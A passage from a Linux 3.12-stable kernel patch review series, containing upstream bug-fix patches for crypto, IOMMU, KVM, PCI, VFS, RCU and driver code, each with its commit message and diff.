Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/crypto/talitos.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/drivers/crypto/talitos.c b/drivers/crypto/talitos.c
index 661dc3eb1d66..9f6ba4c03bdb 100644
--- a/drivers/crypto/talitos.c
+++ b/drivers/crypto/talitos.c
@@ -2563,6 +2563,7 @@ static struct talitos_crypto_alg *talitos_alg_alloc(struct device *dev,
 		break;
 	default:
 		dev_err(dev, "unknown algorithm type %d\n", t_alg->algt.type);
+		kfree(t_alg);
 		return ERR_PTR(-EINVAL);
 	}
 
-- 
2.4.6

[PATCH 3.12 086/124] Revert "crypto: talitos - convert to use be16_add_cpu()"

[Jiri Slaby]

From: Horia Geant? <horia.geanta@freescale.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 69d9cd8c592f1abce820dbce7181bbbf6812cfbd upstream.

This reverts commit 7291a932c6e27d9768e374e9d648086636daf61c.

The conversion to be16_add_cpu() is incorrect in case cryptlen is
negative due to premature (i.e. before addition / subtraction)
implicit conversion of cryptlen (int -> u16) leading to sign loss.

Cc: Wei Yongjun <yongjun_wei@trendmicro.com.cn>
Signed-off-by: Horia Geanta <horia.geanta@freescale.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/crypto/talitos.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/drivers/crypto/talitos.c b/drivers/crypto/talitos.c
index 9f6ba4c03bdb..06cd717b2cc9 100644
--- a/drivers/crypto/talitos.c
+++ b/drivers/crypto/talitos.c
@@ -935,7 +935,8 @@ static int sg_to_link_tbl(struct scatterlist *sg, int sg_count,
 		sg_count--;
 		link_tbl_ptr--;
 	}
-	be16_add_cpu(&link_tbl_ptr->len, cryptlen);
+	link_tbl_ptr->len = cpu_to_be16(be16_to_cpu(link_tbl_ptr->len)
+					+ cryptlen);
 
 	/* tag end of link table */
 	link_tbl_ptr->j_extent = DESC_PTR_LNKTBL_RETURN;
-- 
2.4.6

[PATCH 3.12 087/124] iommu/amd: Handle large pages correctly in free_pagetable

[Jiri Slaby]

From: Joerg Roedel <jroedel@suse.de>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 0b3fff54bc01e8e6064d222a33e6fa7adabd94cd upstream.

Make sure that we are skipping over large PTEs while walking
the page-table tree.

Fixes: 5c34c403b723 ("iommu/amd: Fix memory leak in free_pagetable")
Signed-off-by: Joerg Roedel <jroedel@suse.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/iommu/amd_iommu.c | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/drivers/iommu/amd_iommu.c b/drivers/iommu/amd_iommu.c
index 27f9b8d433a3..b853bb47fc7d 100644
--- a/drivers/iommu/amd_iommu.c
+++ b/drivers/iommu/amd_iommu.c
@@ -1915,9 +1915,15 @@ static void free_pt_##LVL (unsigned long __pt)			\
 	pt = (u64 *)__pt;					\
 								\
 	for (i = 0; i < 512; ++i) {				\
+		/* PTE present? */				\
 		if (!IOMMU_PTE_PRESENT(pt[i]))			\
 			continue;				\
 								\
+		/* Large PTE? */				\
+		if (PM_PTE_LEVEL(pt[i]) == 0 ||			\
+		    PM_PTE_LEVEL(pt[i]) == 7)			\
+			continue;				\
+								\
 		p = (unsigned long)IOMMU_PTE_PAGE(pt[i]);	\
 		FN(p);						\
 	}							\
-- 
2.4.6

[PATCH 3.12 088/124] arm: KVM: force execution of HCPTR access on VM exit

[Jiri Slaby]

From: Marc Zyngier <marc.zyngier@arm.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 85e84ba31039595995dae80b277378213602891b upstream.

On VM entry, we disable access to the VFP registers in order to
perform a lazy save/restore of these registers.

On VM exit, we restore access, test if we did enable them before,
and save/restore the guest/host registers if necessary. In this
sequence, the FPEXC register is always accessed, irrespective
of the trapping configuration.

If the guest didn't touch the VFP registers, then the HCPTR access
has now enabled such access, but we're missing a barrier to ensure
architectural execution of the new HCPTR configuration. If the HCPTR
access has been delayed/reordered, the subsequent access to FPEXC
will cause a trap, which we aren't prepared to handle at all.

The same condition exists when trapping to enable VFP for the guest.

The fix is to introduce a barrier after enabling VFP access. In the
vmexit case, it can be relaxed to only takes place if the guest hasn't
accessed its view of the VFP registers, making the access to FPEXC safe.

The set_hcptr macro is modified to deal with both vmenter/vmexit and
vmtrap operations, and now takes an optional label that is branched to
when the guest hasn't touched the VFP registers.

Reported-by: Vikram Sethi <vikrams@codeaurora.org>
Signed-off-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/arm/kvm/interrupts.S      | 10 ++++------
 arch/arm/kvm/interrupts_head.S | 20 ++++++++++++++++++--
 2 files changed, 22 insertions(+), 8 deletions(-)

diff --git a/arch/arm/kvm/interrupts.S b/arch/arm/kvm/interrupts.S
index 0d68d4073068..a1467e7689f5 100644
--- a/arch/arm/kvm/interrupts.S
+++ b/arch/arm/kvm/interrupts.S
@@ -159,13 +159,9 @@ __kvm_vcpu_return:
 	@ Don't trap coprocessor accesses for host kernel
 	set_hstr vmexit
 	set_hdcr vmexit
-	set_hcptr vmexit, (HCPTR_TTA | HCPTR_TCP(10) | HCPTR_TCP(11))
+	set_hcptr vmexit, (HCPTR_TTA | HCPTR_TCP(10) | HCPTR_TCP(11)), after_vfp_restore
 
 #ifdef CONFIG_VFPv3
-	@ Save floating point registers we if let guest use them.
-	tst	r2, #(HCPTR_TCP(10) | HCPTR_TCP(11))
-	bne	after_vfp_restore
-
 	@ Switch VFP/NEON hardware state to the host's
 	add	r7, vcpu, #VCPU_VFP_GUEST
 	store_vfp_state r7
@@ -177,6 +173,8 @@ after_vfp_restore:
 	@ Restore FPEXC_EN which we clobbered on entry
 	pop	{r2}
 	VFPFMXR FPEXC, r2
+#else
+after_vfp_restore:
 #endif
 
 	@ Reset Hyp-role
@@ -467,7 +465,7 @@ switch_to_guest_vfp:
 	push	{r3-r7}
 
 	@ NEON/VFP used.  Turn on VFP access.
-	set_hcptr vmexit, (HCPTR_TCP(10) | HCPTR_TCP(11))
+	set_hcptr vmtrap, (HCPTR_TCP(10) | HCPTR_TCP(11))
 
 	@ Switch VFP/NEON hardware state to the guest's
 	add	r7, r0, #VCPU_VFP_HOST
diff --git a/arch/arm/kvm/interrupts_head.S b/arch/arm/kvm/interrupts_head.S
index 76af93025574..2973b2d342fa 100644
--- a/arch/arm/kvm/interrupts_head.S
+++ b/arch/arm/kvm/interrupts_head.S
@@ -578,8 +578,13 @@ vcpu	.req	r0		@ vcpu pointer always in r0
 .endm
 
 /* Configures the HCPTR (Hyp Coprocessor Trap Register) on entry/return
- * (hardware reset value is 0). Keep previous value in r2. */
-.macro set_hcptr operation, mask
+ * (hardware reset value is 0). Keep previous value in r2.
+ * An ISB is emited on vmexit/vmtrap, but executed on vmexit only if
+ * VFP wasn't already enabled (always executed on vmtrap).
+ * If a label is specified with vmexit, it is branched to if VFP wasn't
+ * enabled.
+ */
+.macro set_hcptr operation, mask, label = none
 	mrc	p15, 4, r2, c1, c1, 2
 	ldr	r3, =\mask
 	.if \operation == vmentry
@@ -588,6 +593,17 @@ vcpu	.req	r0		@ vcpu pointer always in r0
 	bic	r3, r2, r3		@ Don't trap defined coproc-accesses
 	.endif
 	mcr	p15, 4, r3, c1, c1, 2
+	.if \operation != vmentry
+	.if \operation == vmexit
+	tst	r2, #(HCPTR_TCP(10) | HCPTR_TCP(11))
+	beq	1f
+	.endif
+	isb
+	.if \label != none
+	b	\label
+	.endif
+1:
+	.endif
 .endm
 
 /* Configures the HDCR (Hyp Debug Configuration Register) on entry/return
-- 
2.4.6

[PATCH 3.12 089/124] powerpc/perf: Fix book3s kernel to userspace backtraces

[Jiri Slaby]

From: Anton Blanchard <anton@samba.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 72e349f1124a114435e599479c9b8d14bfd1ebcd upstream.

When we take a PMU exception or a software event we call
perf_read_regs(). This overloads regs->result with a boolean that
describes if we should use the sampled instruction address register
(SIAR) or the regs.

If the exception is in kernel, we start with the kernel regs and
backtrace through the kernel stack. At this point we switch to the
userspace regs and backtrace the user stack with perf_callchain_user().

Unfortunately these regs have not got the perf_read_regs() treatment,
so regs->result could be anything. If it is non zero,
perf_instruction_pointer() decides to use the SIAR, and we get issues
like this:

0.11%  qemu-system-ppc  [kernel.kallsyms]        [k] _raw_spin_lock_irqsave
       |
       ---_raw_spin_lock_irqsave
          |
          |--52.35%-- 0
          |          |
          |          |--46.39%-- __hrtimer_start_range_ns
          |          |          kvmppc_run_core
          |          |          kvmppc_vcpu_run_hv
          |          |          kvmppc_vcpu_run
          |          |          kvm_arch_vcpu_ioctl_run
          |          |          kvm_vcpu_ioctl
          |          |          do_vfs_ioctl
          |          |          sys_ioctl
          |          |          system_call
          |          |          |
          |          |          |--67.08%-- _raw_spin_lock_irqsave <--- hi mum
          |          |          |          |
          |          |          |           --100.00%-- 0x7e714
          |          |          |                     0x7e714

Notice the bogus _raw_spin_irqsave when we transition from kernel
(system_call) to userspace (0x7e714). We inserted what was in the SIAR.

Add a check in regs_use_siar() to check that the regs in question
are from a PMU exception. With this fix the backtrace makes sense:

     0.47%  qemu-system-ppc  [kernel.vmlinux]         [k] _raw_spin_lock_irqsave
            |
            ---_raw_spin_lock_irqsave
               |
               |--53.83%-- 0
               |          |
               |          |--44.73%-- hrtimer_try_to_cancel
               |          |          kvmppc_start_thread
               |          |          kvmppc_run_core
               |          |          kvmppc_vcpu_run_hv
               |          |          kvmppc_vcpu_run
               |          |          kvm_arch_vcpu_ioctl_run
               |          |          kvm_vcpu_ioctl
               |          |          do_vfs_ioctl
               |          |          sys_ioctl
               |          |          system_call
               |          |          __ioctl
               |          |          0x7e714
               |          |          0x7e714

Signed-off-by: Anton Blanchard <anton@samba.org>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/powerpc/perf/core-book3s.c | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/arch/powerpc/perf/core-book3s.c b/arch/powerpc/perf/core-book3s.c
index 57a8ff90ed60..9610a08ef49c 100644
--- a/arch/powerpc/perf/core-book3s.c
+++ b/arch/powerpc/perf/core-book3s.c
@@ -124,7 +124,16 @@ static inline void power_pmu_bhrb_read(struct cpu_hw_events *cpuhw) {}
 
 static bool regs_use_siar(struct pt_regs *regs)
 {
-	return !!regs->result;
+	/*
+	 * When we take a performance monitor exception the regs are setup
+	 * using perf_read_regs() which overloads some fields, in particular
+	 * regs->result to tell us whether to use SIAR.
+	 *
+	 * However if the regs are from another exception, eg. a syscall, then
+	 * they have not been setup using perf_read_regs() and so regs->result
+	 * is something random.
+	 */
+	return ((TRAP(regs) == 0xf00) && regs->result);
 }
 
 /*
-- 
2.4.6

[PATCH 3.12 090/124] x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A

[Jiri Slaby]

From: Bjorn Helgaas <bhelgaas@google.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 1dace0116d0b05c967d94644fc4dfe96be2ecd3d upstream.

The Foxconn K8M890-8237A has two PCI host bridges, and we can't assign
resources correctly without the information from _CRS that tells us which
address ranges are claimed by which bridge.  In the bugs mentioned below,
we incorrectly assign a sound card address (this example is from 1033299):

  bus: 00 index 2 [mem 0x80000000-0xfcffffffff]
  ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-7f])
  pci_root PNP0A08:00: host bridge window [mem 0x80000000-0xbfefffff] (ignored)
  pci_root PNP0A08:00: host bridge window [mem 0xc0000000-0xdfffffff] (ignored)
  pci_root PNP0A08:00: host bridge window [mem 0xf0000000-0xfebfffff] (ignored)
  ACPI: PCI Root Bridge [PCI1] (domain 0000 [bus 80-ff])
  pci_root PNP0A08:01: host bridge window [mem 0xbff00000-0xbfffffff] (ignored)
  pci 0000:80:01.0: [1106:3288] type 0 class 0x000403
  pci 0000:80:01.0: reg 10: [mem 0xbfffc000-0xbfffffff 64bit]
  pci 0000:80:01.0: address space collision: [mem 0xbfffc000-0xbfffffff 64bit] conflicts with PCI Bus #00 [mem 0x80000000-0xfcffffffff]
  pci 0000:80:01.0: BAR 0: assigned [mem 0xfd00000000-0xfd00003fff 64bit]
  BUG: unable to handle kernel paging request at ffffc90000378000
  IP: [<ffffffffa0345f63>] azx_create+0x37c/0x822 [snd_hda_intel]

We assigned 0xfd_0000_0000, but that is not in any of the host bridge
windows, and the sound card doesn't work.

Turn on pci=use_crs automatically for this system.

Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368
Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/x86/pci/acpi.c | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/arch/x86/pci/acpi.c b/arch/x86/pci/acpi.c
index b30e937689d6..3a3e99bde773 100644
--- a/arch/x86/pci/acpi.c
+++ b/arch/x86/pci/acpi.c
@@ -84,6 +84,17 @@ static const struct dmi_system_id pci_crs_quirks[] __initconst = {
 			DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies, LTD"),
 		},
 	},
+	/* https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368 */
+	/* https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299 */
+	{
+		.callback = set_use_crs,
+		.ident = "Foxconn K8M890-8237A",
+		.matches = {
+			DMI_MATCH(DMI_BOARD_VENDOR, "Foxconn"),
+			DMI_MATCH(DMI_BOARD_NAME, "K8M890-8237A"),
+			DMI_MATCH(DMI_BIOS_VENDOR, "Phoenix Technologies, LTD"),
+		},
+	},
 
 	/* Now for the blacklist.. */
 
-- 
2.4.6

[PATCH 3.12 091/124] MIPS: Fix KVM guest fixmap address

[Jiri Slaby]

From: James Hogan <james.hogan@imgtec.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 8e748c8d09a9314eedb5c6367d9acfaacddcdc88 upstream.

KVM guest kernels for trap & emulate run in user mode, with a modified
set of kernel memory segments. However the fixmap address is still in
the normal KSeg3 region at 0xfffe0000 regardless, causing problems when
cache alias handling makes use of them when handling copy on write.

Therefore define FIXADDR_TOP as 0x7ffe0000 in the guest kernel mapped
region when CONFIG_KVM_GUEST is defined.

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: linux-mips@linux-mips.org
Patchwork: https://patchwork.linux-mips.org/patch/9887/
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/mips/include/asm/mach-generic/spaces.h | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/arch/mips/include/asm/mach-generic/spaces.h b/arch/mips/include/asm/mach-generic/spaces.h
index 9488fa5f8866..afc96ecb9004 100644
--- a/arch/mips/include/asm/mach-generic/spaces.h
+++ b/arch/mips/include/asm/mach-generic/spaces.h
@@ -94,7 +94,11 @@
 #endif
 
 #ifndef FIXADDR_TOP
+#ifdef CONFIG_KVM_GUEST
+#define FIXADDR_TOP		((unsigned long)(long)(int)0x7ffe0000)
+#else
 #define FIXADDR_TOP		((unsigned long)(long)(int)0xfffe0000)
 #endif
+#endif
 
 #endif /* __ASM_MACH_GENERIC_SPACES_H */
-- 
2.4.6

[PATCH 3.12 092/124] KVM: x86: make vapics_in_nmi_mode atomic

[Jiri Slaby]

From: Radim Krčmář <rkrcmar@redhat.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 42720138b06301cc8a7ee8a495a6d021c4b6a9bc upstream.

Writes were a bit racy, but hard to turn into a bug at the same time.
(Particularly because modern Linux doesn't use this feature anymore.)

Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
[Actually the next patch makes it much, much easier to trigger the race
 so I'm including this one for stable@ as well. - Paolo]
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/x86/include/asm/kvm_host.h | 2 +-
 arch/x86/kvm/i8254.c            | 2 +-
 arch/x86/kvm/lapic.c            | 4 ++--
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index 7cb77dd749df..55f8ca8c20e4 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -562,7 +562,7 @@ struct kvm_arch {
 	struct kvm_pic *vpic;
 	struct kvm_ioapic *vioapic;
 	struct kvm_pit *vpit;
-	int vapics_in_nmi_mode;
+	atomic_t vapics_in_nmi_mode;
 	struct mutex apic_map_lock;
 	struct kvm_apic_map *apic_map;
 
diff --git a/arch/x86/kvm/i8254.c b/arch/x86/kvm/i8254.c
index 298781d4cfb4..1406ffde3e35 100644
--- a/arch/x86/kvm/i8254.c
+++ b/arch/x86/kvm/i8254.c
@@ -305,7 +305,7 @@ static void pit_do_work(struct kthread_work *work)
 		 * LVT0 to NMI delivery. Other PIC interrupts are just sent to
 		 * VCPU0, and only if its LVT0 is in EXTINT mode.
 		 */
-		if (kvm->arch.vapics_in_nmi_mode > 0)
+		if (atomic_read(&kvm->arch.vapics_in_nmi_mode) > 0)
 			kvm_for_each_vcpu(i, vcpu, kvm)
 				kvm_apic_nmi_wd_deliver(vcpu);
 	}
diff --git a/arch/x86/kvm/lapic.c b/arch/x86/kvm/lapic.c
index 92bbb397f59d..a4ce2b2f1418 100644
--- a/arch/x86/kvm/lapic.c
+++ b/arch/x86/kvm/lapic.c
@@ -1088,10 +1088,10 @@ static void apic_manage_nmi_watchdog(struct kvm_lapic *apic, u32 lvt0_val)
 		if (!nmi_wd_enabled) {
 			apic_debug("Receive NMI setting on APIC_LVT0 "
 				   "for cpu %d\n", apic->vcpu->vcpu_id);
-			apic->vcpu->kvm->arch.vapics_in_nmi_mode++;
+			atomic_inc(&apic->vcpu->kvm->arch.vapics_in_nmi_mode);
 		}
 	} else if (nmi_wd_enabled)
-		apic->vcpu->kvm->arch.vapics_in_nmi_mode--;
+		atomic_dec(&apic->vcpu->kvm->arch.vapics_in_nmi_mode);
 }
 
 static int apic_reg_write(struct kvm_lapic *apic, u32 reg, u32 val)
-- 
2.4.6

[PATCH 3.12 093/124] fs: Fix S_NOSEC handling

[Jiri Slaby]

From: Jan Kara <jack@suse.cz>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 2426f3910069ed47c0cc58559a6d088af7920201 upstream.

file_remove_suid() could mistakenly set S_NOSEC inode bit when root was
modifying the file. As a result following writes to the file by ordinary
user would avoid clearing suid or sgid bits.

Fix the bug by checking actual mode bits before setting S_NOSEC.

Signed-off-by: Jan Kara <jack@suse.cz>
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/inode.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/fs/inode.c b/fs/inode.c
index d9134a0f5dd9..9ec57cb0aacd 100644
--- a/fs/inode.c
+++ b/fs/inode.c
@@ -1599,8 +1599,8 @@ int file_remove_suid(struct file *file)
 		error = security_inode_killpriv(dentry);
 	if (!error && killsuid)
 		error = __remove_suid(dentry, killsuid);
-	if (!error && (inode->i_sb->s_flags & MS_NOSEC))
-		inode->i_flags |= S_NOSEC;
+	if (!error)
+		inode_has_no_xattr(inode);
 
 	return error;
 }
-- 
2.4.6

[PATCH 3.12 094/124] vfs: Remove incorrect debugging WARN in prepend_path

[Jiri Slaby]

From: "Eric W. Biederman" <ebiederm@xmission.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 93e3bce6287e1fb3e60d3324ed08555b5bbafa89 upstream.

The warning message in prepend_path is unclear and outdated.  It was
added as a warning that the mechanism for generating names of pseudo
files had been removed from prepend_path and d_dname should be used
instead.  Unfortunately the warning reads like a general warning,
making it unclear what to do with it.

Remove the warning.  The transition it was added to warn about is long
over, and I added code several years ago which in rare cases causes
the warning to fire on legitimate code, and the warning is now firing
and scaring people for no good reason.

Reported-by: Ivan Delalande <colona@arista.com>
Reported-by: Omar Sandoval <osandov@osandov.com>
Fixes: f48cfddc6729e ("vfs: In d_path don't call d_dname on a mount point")
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/dcache.c | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/fs/dcache.c b/fs/dcache.c
index e619730ade4c..64cfe24cdd88 100644
--- a/fs/dcache.c
+++ b/fs/dcache.c
@@ -2812,17 +2812,6 @@ restart:
 				vfsmnt = &mnt->mnt;
 				continue;
 			}
-			/*
-			 * Filesystems needing to implement special "root names"
-			 * should do so with ->d_dname()
-			 */
-			if (IS_ROOT(dentry) &&
-			   (dentry->d_name.len != 1 ||
-			    dentry->d_name.name[0] != '/')) {
-				WARN(1, "Root dentry has weird name <%.*s>\n",
-				     (int) dentry->d_name.len,
-				     dentry->d_name.name);
-			}
 			if (!error)
 				error = is_mounted(vfsmnt) ? 1 : 2;
 			break;
-- 
2.4.6

[PATCH 3.12 095/124] vfs: Ignore unlocked mounts in fs_fully_visible

[Jiri Slaby]

From: "Eric W. Biederman" <ebiederm@xmission.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit ceeb0e5d39fcdf4dca2c997bf225c7fc49200b37 upstream.

Limit the mounts fs_fully_visible considers to locked mounts.
Unlocked can always be unmounted so considering them adds hassle
but no security benefit.

Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/namespace.c | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/fs/namespace.c b/fs/namespace.c
index 9ae6837ef5bf..bdc6223a7500 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -2939,11 +2939,15 @@ bool fs_fully_visible(struct file_system_type *type)
 		if (mnt->mnt.mnt_root != mnt->mnt.mnt_sb->s_root)
 			continue;
 
-		/* This mount is not fully visible if there are any child mounts
-		 * that cover anything except for empty directories.
+		/* This mount is not fully visible if there are any
+		 * locked child mounts that cover anything except for
+		 * empty directories.
 		 */
 		list_for_each_entry(child, &mnt->mnt_mounts, mnt_child) {
 			struct inode *inode = child->mnt_mountpoint->d_inode;
+			/* Only worry about locked mounts */
+			if (!(mnt->mnt.mnt_flags & MNT_LOCKED))
+				continue;
 			if (!S_ISDIR(inode->i_mode))
 				goto next;
 			if (inode->i_nlink > 2)
-- 
2.4.6

[PATCH 3.12 096/124] x86/PCI: Use host bridge _CRS info on systems with >32 bit addressing

[Jiri Slaby]

From: Bjorn Helgaas <bhelgaas@google.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 3d9fecf6bfb8b12bc2f9a4c7109895a2a2bb9436 upstream.

We enable _CRS on all systems from 2008 and later.  On older systems, we
ignore _CRS and assume the whole physical address space (excluding RAM and
other devices) is available for PCI devices, but on systems that support
physical address spaces larger than 4GB, it's doubtful that the area above
4GB is really available for PCI.

After d56dbf5bab8c ("PCI: Allocate 64-bit BARs above 4G when possible"), we
try to use that space above 4GB *first*, so we're more likely to put a
device there.

On Juan's Toshiba Satellite Pro U200, BIOS left the graphics, sound, 1394,
and card reader devices unassigned (but only after Windows had been
booted).  Only the sound device had a 64-bit BAR, so it was the only device
placed above 4GB, and hence the only device that didn't work.

Keep _CRS enabled even on pre-2008 systems if they support physical address
space larger than 4GB.

Fixes: d56dbf5bab8c ("PCI: Allocate 64-bit BARs above 4G when possible")
Reported-and-tested-by: Juan Dayer <jdayer@outlook.com>
Reported-and-tested-by: Alan Horsfield <alan@hazelgarth.co.uk>
Link: https://bugzilla.kernel.org/show_bug.cgi?id=99221
Link: https://bugzilla.opensuse.org/show_bug.cgi?id=907092
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>

Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 arch/x86/pci/acpi.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/arch/x86/pci/acpi.c b/arch/x86/pci/acpi.c
index 3a3e99bde773..a24e9c2e95da 100644
--- a/arch/x86/pci/acpi.c
+++ b/arch/x86/pci/acpi.c
@@ -135,8 +135,10 @@ void __init pci_acpi_crs_quirks(void)
 {
 	int year;
 
-	if (dmi_get_date(DMI_BIOS_DATE, &year, NULL, NULL) && year < 2008)
-		pci_use_crs = false;
+	if (dmi_get_date(DMI_BIOS_DATE, &year, NULL, NULL) && year < 2008) {
+		if (iomem_resource.end <= 0xffffffff)
+			pci_use_crs = false;
+	}
 
 	dmi_check_system(pci_crs_quirks);
 
-- 
2.4.6

[PATCH 3.12 097/124] rcu: Correctly handle non-empty Tiny RCU callback list with none ready

[Jiri Slaby]

From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 6e91f8cb138625be96070b778d9ba71ce520ea7e upstream.

If, at the time __rcu_process_callbacks() is invoked,  there are callbacks
in Tiny RCU's callback list, but none of them are ready to be invoked,
the current list-management code will knit the non-ready callbacks out
of the list.  This can result in hangs and possibly worse.  This commit
therefore inserts a check for there being no callbacks that can be
invoked immediately.

This bug is unlikely to occur -- you have to get a new callback between
the time rcu_sched_qs() or rcu_bh_qs() was called, but before we get to
__rcu_process_callbacks().  It was detected by the addition of RCU-bh
testing to rcutorture, which in turn was instigated by Iftekhar Ahmed's
mutation testing.  Although this bug was made much more likely by
915e8a4fe45e (rcu: Remove fastpath from __rcu_process_callbacks()), this
did not cause the bug, but rather made it much more probable.   That
said, it takes more than 40 hours of rcutorture testing, on average,
for this bug to appear, so this fix cannot be considered an emergency.

Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Josh Triplett <josh@joshtriplett.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 kernel/rcutiny.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/kernel/rcutiny.c b/kernel/rcutiny.c
index 9ed6075dc562..c64d0ba663e0 100644
--- a/kernel/rcutiny.c
+++ b/kernel/rcutiny.c
@@ -282,6 +282,11 @@ static void __rcu_process_callbacks(struct rcu_ctrlblk *rcp)
 
 	/* Move the ready-to-invoke callbacks to a local list. */
 	local_irq_save(flags);
+	if (rcp->donetail == &rcp->rcucblist) {
+		/* No callbacks ready, so just leave. */
+		local_irq_restore(flags);
+		return;
+	}
 	RCU_TRACE(trace_rcu_batch_start(rcp->name, 0, rcp->qlen, -1));
 	list = rcp->rcucblist;
 	rcp->rcucblist = *rcp->donetail;
-- 
2.4.6

[PATCH 3.12 098/124] ipr: Increase default adapter init stage change timeout

[Jiri Slaby]

From: Brian King <brking@linux.vnet.ibm.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 45c44b5ff9caa743ed9c2bfd44307c536c9caf1e upstream.

Increase the default init stage change timeout from 15 seconds to 30 seconds.
This resolves issues we have seen with some adapters not transitioning
to the first init stage within 15 seconds, which results in adapter
initialization failures.

Signed-off-by: Brian King <brking@linux.vnet.ibm.com>
Signed-off-by: James Bottomley <JBottomley@Odin.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/scsi/ipr.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/scsi/ipr.h b/drivers/scsi/ipr.h
index c5f2e9a0a4a4..f6d379725a00 100644
--- a/drivers/scsi/ipr.h
+++ b/drivers/scsi/ipr.h
@@ -267,7 +267,7 @@
 #define IPR_RUNTIME_RESET				0x40000000
 
 #define IPR_IPL_INIT_MIN_STAGE_TIME			5
-#define IPR_IPL_INIT_DEFAULT_STAGE_TIME                 15
+#define IPR_IPL_INIT_DEFAULT_STAGE_TIME                 30
 #define IPR_IPL_INIT_STAGE_UNKNOWN			0x0
 #define IPR_IPL_INIT_STAGE_TRANSOP			0xB0000000
 #define IPR_IPL_INIT_STAGE_MASK				0xff000000
-- 
2.4.6

[PATCH 3.12 099/124] Disable write buffering on Toshiba ToPIC95

[Jiri Slaby]

From: Ryan Underwood <nemesis@icequake.net>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 2fb22a8042fe96b4220843f79241c116d90922c4 upstream.

Disable write buffering on the Toshiba ToPIC95 if it is enabled by
somebody (it is not supposed to be a power-on default according to
the datasheet). On the ToPIC95, practically no 32-bit Cardbus card
will work under heavy load without locking up the whole system if
this is left enabled. I tried about a dozen. It does not affect
16-bit cards. This is similar to the O2 bugs in early controller
revisions it seems.

Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=55961
Signed-off-by: Ryan C. Underwood <nemesis@icequake.net>
Signed-off-by: Dominik Brodowski <linux@dominikbrodowski.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/pcmcia/topic.h | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/drivers/pcmcia/topic.h b/drivers/pcmcia/topic.h
index 615a45a8fe86..582688fe7505 100644
--- a/drivers/pcmcia/topic.h
+++ b/drivers/pcmcia/topic.h
@@ -104,6 +104,9 @@
 #define TOPIC_EXCA_IF_CONTROL		0x3e	/* 8 bit */
 #define TOPIC_EXCA_IFC_33V_ENA		0x01
 
+#define TOPIC_PCI_CFG_PPBCN		0x3e	/* 16-bit */
+#define TOPIC_PCI_CFG_PPBCN_WBEN	0x0400
+
